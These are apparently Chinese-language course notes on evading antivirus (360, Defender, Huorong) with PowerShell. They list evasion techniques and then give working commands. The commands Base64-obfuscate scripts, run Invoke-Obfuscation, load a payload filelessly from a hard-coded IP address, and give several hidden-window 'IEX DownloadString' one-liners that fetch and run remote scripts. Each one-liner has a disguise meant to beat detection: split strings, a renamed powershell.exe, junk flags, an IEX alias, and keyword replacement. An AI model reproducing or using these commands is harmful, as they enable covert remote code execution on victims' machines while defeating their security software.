知識點
知識點:
1、Powershell-對變數資料做文章
2、Powershell-對Shellcode做文章
3、Powershell-對執行程式碼特徵做文章
章節點:
編譯程式碼面-ShellCode-混淆
編譯程式碼面-編輯執行器-編寫
編譯程式碼面-分離載入器-編寫
程式檔案面-特徵碼定位-修改
程式檔案面-加殼花指令-資源
程式碼載入面-Dll反射劫持-載入
許可權邏輯面-防毒程序干擾-結束
工具資料面-通訊記憶體流量-動態
對抗目標:
X60 Defender 某絨 管家 VT等
程式語言:
C/C++ Python C# Go Powershell Ruby Java ASM等
涉及技術:
ShellCode混淆加密,無檔案落地,分離拆分,白名單,DLL載入,Syscall,加殼加花,
資源修改,特徵修改,二次開發CS,記憶體休眠,程序注入,反沙盒,反除錯,CDN解析等
演示案例
1、PowerShell-檔案模式-混淆過某絨
2、PowerShell-檔案模式-分離過某60
3、PowerShell-檔案模式-特徵修改過DF
4、PowerShell-EXE模式-Ladon&Win-PS2
5、PowerShell-命令模式-載入&替換&填充等
#PowerShell-檔案模式-混淆過某絨
1、手工混淆:變數進行編碼後解碼
$bb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($x))
powershell -ExecutionPolicy bypass -File hr.ps1
2、專案混淆:Invoke-Obfuscation
https://github.com/danielbohannon/Invoke-Obfuscation
載入模組:Import-Module ./Invoke-Obfuscation.psd1
執行程式:Invoke-Obfuscation
處理檔案:set scriptpath C:\Users\86135\Desktop\1.ps1
處理程式碼:set scriptblock 'xxxx'
進入編碼:encoding
選擇編碼:1-8
輸出檔案:out C:\Users\86135\Desktop\11.ps1
#PowerShell-檔案模式-分離過某60
混淆無檔案:
無檔案:
$d= ((New-Object System.Net.Webclient).DownloadString('http://47.94.236.117/1.txt'))
解碼:
$x=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($d))
http://47.94.236.117/1.txt = $d base64資料
$d= ((New-Object System.Net.Webclient).DownloadString('http://47.94.236.117/1.txt'))
$x=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($d))
#PowerShell-檔案模式-特徵修改過DF
Fuzz DF查殺特徵
1、Shellcode換格式
2、變數名&函式名全修改
#PowerShell-EXE模式-Ladon&Win-PS2
GUI-X工具箱內建Ladon
https://github.com/MScholtes/Win-PS2EXE
#PowerShell-命令模式-載入&替換&填充等
1、原型:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.94.236.117/x.ps1'))"
2、替換檔名:
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.94.236.117/x.ps1''));';IEX ($a+$b)"
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt
bypass.txt "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.94.236.117/x.ps1''));';IEX ($a+$b)"
3、垃圾資料干擾:
powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://47.94.236.117/x.ps1')
4、替換關鍵字:
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.236.117/x.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
5、Ladon混淆命令